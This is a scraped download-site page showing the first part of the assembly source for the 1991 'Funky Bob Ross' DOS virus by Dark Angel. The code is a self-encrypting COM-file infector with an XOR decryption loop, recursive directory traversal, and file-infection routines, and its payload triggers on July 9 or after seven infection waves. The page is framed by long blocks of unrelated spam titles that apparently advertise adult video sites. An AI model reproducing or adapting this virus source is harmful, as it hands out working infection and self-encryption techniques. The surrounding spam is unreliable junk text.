亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? bobvirus.asm

?? More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
;   This virus was written expressedly to
;      1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
;         other guru-wanna-bes in this world.
;      2) Spread the message of The Almighty Bob, and so enrichen the lives
;         of people all over the world.
;      3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
;   This is a self-encrypting, non-overwriting COM infector.  It doesn't do
;   anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
;   on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
;   The virus goes memory resident and prints out a Bobism every 5 minutes.
;   It then enters a delay loop for approximately 5 seconds, allowing for a
;   brief moment of silence while the victim reads Bob's holy message.  The
;   virus will not destroy anything.  The virus will not go TSR if it finds
;   another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!

CODE    SEGMENT PUBLIC  'CODE'
        ORG     100h
        ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE

DTA_fileattr    EQU     21
DTA_filetime    EQU     22
DTA_filedate    EQU     24
DTA_filesize    EQU     26
DTA_filename    EQU     30

virus_marker    equ     026FFh   ; JMP WORD PTR
virus_marker2   equ     00104h   ; 0104h
part1_size      equ     part1_end - part1_start
part2_size      equ     part2_end - part2_start
offset_off      equ     duh2
init_delay      equ     5280    ; Initial delay
delay           equ     400     ; Subsequent delay
num_Messages    equ     7       ; Number of Bob messages
waves           equ     7       ; Number of waves to go off after
infec_date      equ     0709h   ; Date of psychosis

Counter         equ     108h
D_Mess          equ     110h
Int_08_Start    equ     112h

part1_start:
        jmp     word ptr duh
duh     dw      middle_part_end - part1_start + 100h
duh2    dw      0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
        cld
        call    decrypt
        mov     si, offset Go
        add     si, offset_off
        jmp     si

encrypt_val     db      00h

decrypt:
encrypt:
        mov     si, offset encrypt_val
        add     si, offset_off
        mov     ah, byte ptr [si]

        mov     cx, offset part2_end - offset bam_bam
        add     si, offset bam_bam - offset encrypt_val
        mov     di, si

xor_loop:
        lodsb                           ; DS:[SI] -> AL
        xor     al, ah
        stosb
        loop    xor_loop
        ret

copy_rest_stuff:
; Mah copying routine
        push    si              ; SI -> buffer3
        call    encrypt
        mov     cx, part2_size
        pop     dx
        add     dx, offset part2_start - offset buffer3
        mov     ah, 40h
        int     21h
        call    decrypt
bam_bam:
        ret

buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2   db part1_end - part1_start dup (?)
buffer3   dw ?
orig_path db 64 dup (?)
num_infec db 0                  ; Infection wave number
infec_now db 0                  ; Number files infected this time
root_dir  db '\',0
com_mask  db '*.com',0
dir_mask  db '*.*',0
back_dir  db '..',0
nest      dw 0

DTA     db 43 DUP (0)           ; For use by infect_dir

Go:
        add     si, offset buffer - offset Go
        mov     di, si
        add     di, offset buffer2 - offset buffer
        mov     cx, part1_size
        rep     movsb

        mov     ah, 47h                 ; Get directory
        xor     dl,dl                   ; Default drive
        add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
        int     21h                     ;  in orig_path
        jc      Go_Error

        mov     ah, 3Bh                 ; Change directory
        mov     dx, si                  ;  to the root dir
        add     dx, offset root_dir - offset orig_path
        int     21h
        jc      Go_Error

        add     si, offset num_infec - offset orig_path
        inc     byte ptr [si]           ; New infection wave

        push    si                      ; Save offset num_infec

        add     si, offset infec_now - offset num_infec
        mov     byte ptr [si], 3        ; Reset infection
                                        ;  counter to 3
                                        ;  for D-new run.

        call    traverse_fcn            ; Do all the work

        pop     si                      ; Restore offset num_infec
        cmp     byte ptr [si], waves    ; 10 infection waves?
        jge     Go_Psycho               ; If so, activate

        mov     ah, 2Ah                 ; Get date
        int     21h
        cmp     dx, infec_date          ; Is it 07/09?
        jz      Go_Psycho               ; If so, activate
Go_Error:
        jmp     quit                    ; And then quit

Go_Psycho:
        jmp     Psycho

origattr  db 0
origtime  dw 0
origdate  dw 0
filesize  dw 0                  ; Size of the uninfected file

oldhandle dw 0

;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc    near
        push    bp                      ; Create stack frame
	mov	bp,sp
        sub     sp,44                   ; Allocate space for DTA
        push    si

        jmp     infect_directory
In_fcn:
        mov     ah,1Ah                  ;Set DTA
        lea     dx,word ptr [bp-44]     ; to space allotted
        int     21h                     ;Do it now, do it hard!

        mov     ah, 4Eh                 ;Find first
        mov     cx,16                   ;Directory mask
        mov     dx,offset dir_mask      ; *.*
        add     dx,offset_off
        int     21h
        jmp     short isdirok
gonow:
        cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
        je      short donext            ; If so, loop again
        lea     dx,word ptr [bp-14]     ;else load dirname
        mov     ah,3Bh                  ; and changedir there
        int     21h                     ;Yup, yup
        jc      short donext            ; Do next if invalid
        mov     si, offset nest         ; Else increment nest
        add     si, offset_off
        inc     word ptr [si]           ; nest++
        call    near ptr traverse_fcn   ; recurse directory
donext:
        lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
        mov     ah,1Ah                  ; and set DTA to it
        int     21h                     ; 'cause it might have changed

        mov     ah,4Fh                  ;Find next
        int     21h
isdirok:
        jnc     gonow                   ;If OK, jmp elsewhere
        mov     si, offset nest
        add     si, offset_off
        cmp     word ptr [si], 0        ;If root directory (nest == 0)
        jle     short cleanup           ; Quit
        dec     word ptr [si]           ;Else decrement nest
        mov     dx,offset back_dir      ;'..'
        add     dx, offset_off
        mov     ah,3Bh                  ;Change directory
        int     21h                     ; to previous one
cleanup:
        pop     si
	mov	sp,bp
	pop	bp
	ret	
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================

Goto_Error:
        jmp     Error

enuff_for_now:
                                        ;Set nest to nil
        mov     si, offset nest         ; in order to
        add     si, offset_off          ; halt the D-Cool
        mov     word ptr [si], 0        ; traversal fcn
        jmp     short cleanup
return_to_fcn:
        jmp     short In_fcn            ;Return to traversal function

infect_directory:
        mov     ah, 1Ah                 ;Set DTA
        mov     dx, offset DTA          ; to DTA struct
        add     dx, offset_off
        int     21h

find_first_COM:
        mov     ah, 04Eh                ; Find first file
        mov     cx, 0007h               ; Any file
        mov     dx, offset com_mask     ; DS:[DX] --> filemask
        add     dx, offset_off
        int     21h                     ; Fill DTA (hopefully)
        jc      return_to_fcn           ; <Sigh> Error #E421:0.1
        jmp     check_if_COM_infected   ; I<___-Cool! Found one!

find_next_file2:
        mov     si, offset infec_now    ; Another loop,
        add     si, offset_off          ;  Another infection
        dec     byte ptr [si]           ;  Infected three?
        jz      enuff_for_now           ;   If so, exit
find_next_file:
        mov     ah,4Fh                  ; Find next
        int     21h
        jc      return_to_fcn

check_if_COM_infected:
        mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
        add     si, offset_off
        cmp     byte ptr [si], 'D'              ; ??????D.COM?
        jz      find_next_file                  ; don't kill COMMAND.COM

        mov     ax,3D00h                        ; Open channel read ONLY
        mov     dx, si                          ; Offset Pathname in DX
        sub     dx, 6
        int     21h                             ; Open NOW!
        jc      find_next_file                  ; If error, find another

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
精品在线播放午夜| 亚洲精品在线一区二区| 亚洲天堂网中文字| 97久久精品人人爽人人爽蜜臀| 国产精品天干天干在线综合| 97se亚洲国产综合自在线不卡 | 不卡高清视频专区| 日本欧美久久久久免费播放网| 欧美一区二区三区四区高清| 久久99国产精品久久99| 久久久精品一品道一区| 成人午夜免费电影| 一级特黄大欧美久久久| 欧美久久久久免费| 国产最新精品免费| 亚洲色大成网站www久久九九| 欧美羞羞免费网站| 精一区二区三区| 中文字幕av资源一区| 色老汉一区二区三区| 免费高清在线视频一区·| 精品88久久久久88久久久| 不卡一区二区三区四区| 亚洲成av人在线观看| 久久久精品人体av艺术| 91首页免费视频| 免费人成网站在线观看欧美高清| 国产情人综合久久777777| 在线视频你懂得一区二区三区| 另类人妖一区二区av| 亚洲欧洲日韩在线| 日韩一区二区高清| 99re6这里只有精品视频在线观看| 日韩精品电影在线| 国产精品污www在线观看| 欧美日韩亚洲另类| 国产福利不卡视频| 亚洲电影中文字幕在线观看| 欧美精品一区二区三区在线播放| 色老汉一区二区三区| 国产一本一道久久香蕉| 亚洲18影院在线观看| 中文字幕在线不卡| 日韩女同互慰一区二区| 91黄色免费网站| 国产成+人+日韩+欧美+亚洲| 日韩va欧美va亚洲va久久| 国产精品久久久爽爽爽麻豆色哟哟 | 国产亲近乱来精品视频| 欧美日韩国产精品成人| 不卡的电影网站| 韩日av一区二区| 亚洲图片欧美视频| 亚洲天堂久久久久久久| 国产亚洲精久久久久久| 日韩三级视频在线观看| 欧美图区在线视频| 99久久99久久久精品齐齐| 国产精品一区二区三区乱码| 青娱乐精品在线视频| 亚洲第一福利一区| 亚洲精品精品亚洲| 亚洲欧美综合色| 久久久久久久综合日本| 精品精品欲导航| 欧美一区二区三区视频在线观看| 欧美性大战久久久久久久 | 另类中文字幕网| 亚洲成人在线观看视频| 亚洲一区二区综合| 亚洲一区中文日韩| 一个色综合av| 亚洲一区在线视频| 亚洲宅男天堂在线观看无病毒| 亚洲欧美日韩在线| 亚洲女同一区二区| 一区二区三区中文在线观看| 中文字幕在线播放不卡一区| 中文字幕亚洲区| 综合激情成人伊人| 亚洲欧美一区二区久久| 亚洲精品日韩综合观看成人91| 国产精品家庭影院| 亚洲私人黄色宅男| 亚洲人成7777| 亚洲综合区在线| 亚洲一区二区三区国产| 午夜伦理一区二区| 午夜精品久久久久久久99樱桃| 不卡在线视频中文字幕| 91老师国产黑色丝袜在线| 一本一道波多野结衣一区二区| 色综合一区二区| 欧美色综合影院| 欧美电影一区二区三区| 日韩免费观看高清完整版在线观看| 亚洲在线视频免费观看| 久久久电影一区二区三区| 7777精品久久久大香线蕉| 在线中文字幕一区二区| 成人激情综合网站| 韩国av一区二区三区四区| 午夜久久福利影院| 亚洲h在线观看| 亚洲成人免费电影| 亚洲电影激情视频网站| 精品一区二区三区不卡| 日韩午夜激情视频| 国产综合久久久久久鬼色 | 日日摸夜夜添夜夜添国产精品| 日韩av中文在线观看| 国产在线精品不卡| av一区二区不卡| 欧美日韩国产大片| 国产亚洲福利社区一区| 一区二区三区在线视频免费| 欧美aaaaaa午夜精品| 丁香啪啪综合成人亚洲小说 | 国产原创一区二区三区| 成人免费毛片片v| 欧美人牲a欧美精品| 国产亚洲欧美日韩在线一区| 亚洲一线二线三线久久久| 国内成+人亚洲+欧美+综合在线| 99久久精品国产观看| 日韩一区二区免费电影| 亚洲日本护士毛茸茸| 久久99精品久久久久久动态图 | 国产资源在线一区| 在线免费观看日本欧美| 久久你懂得1024| 亚洲电影一级片| 99麻豆久久久国产精品免费优播| 日韩一级完整毛片| 亚洲免费毛片网站| 国产精品亚洲第一区在线暖暖韩国| 欧美日韩五月天| 国产精品久久久久久久久果冻传媒| 日韩精品成人一区二区三区| 色综合天天综合网国产成人综合天| 欧美精品一区二区三| 亚洲va在线va天堂| 久久久国产精华| 日韩精品一区第一页| 色综合天天综合网国产成人综合天| 精品久久国产老人久久综合| 久久久久久久综合色一本| 中文av一区二区| 水蜜桃久久夜色精品一区的特点 | 国产一区二区三区美女| 欧美午夜免费电影| 国产精品久久久久久久第一福利| 奇米色777欧美一区二区| 在线看不卡av| 亚洲日本成人在线观看| 亚洲高清免费在线| 欧美第一区第二区| 久久狠狠亚洲综合| 欧美精品一区二区三区四区 | 亚洲欧洲精品成人久久奇米网| 黄一区二区三区| 久久精品在线观看| 国产另类ts人妖一区二区| 国产欧美一区二区三区网站| 国产高清成人在线| 国产精品免费aⅴ片在线观看| av一区二区三区黑人| 亚洲一区二区精品视频| 欧美一区二区精品在线| 国产成人精品三级| 亚洲精品美国一| 精品国产欧美一区二区| 成人永久免费视频| 亚洲欧美日韩国产中文在线| 日韩欧美自拍偷拍| 日本高清不卡在线观看| av一二三不卡影片| 欧洲激情一区二区| 91国偷自产一区二区使用方法| 日本高清不卡aⅴ免费网站| fc2成人免费人成在线观看播放| 亚洲人成网站影音先锋播放| 国产不卡高清在线观看视频| 亚洲国产欧美在线| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 日韩电影在线看| 亚洲国产精品久久久男人的天堂 | 亚洲免费观看在线视频| 91成人在线免费观看| 亚洲午夜国产一区99re久久| 欧美日韩精品专区| 免费在线观看日韩欧美| 2欧美一区二区三区在线观看视频 337p粉嫩大胆噜噜噜噜噜91av | 欧美一区二区精美| 国模大尺度一区二区三区| 国产午夜精品久久久久久久| caoporen国产精品视频| 亚洲综合免费观看高清完整版在线 | 欧美无人高清视频在线观看| 石原莉奈在线亚洲三区|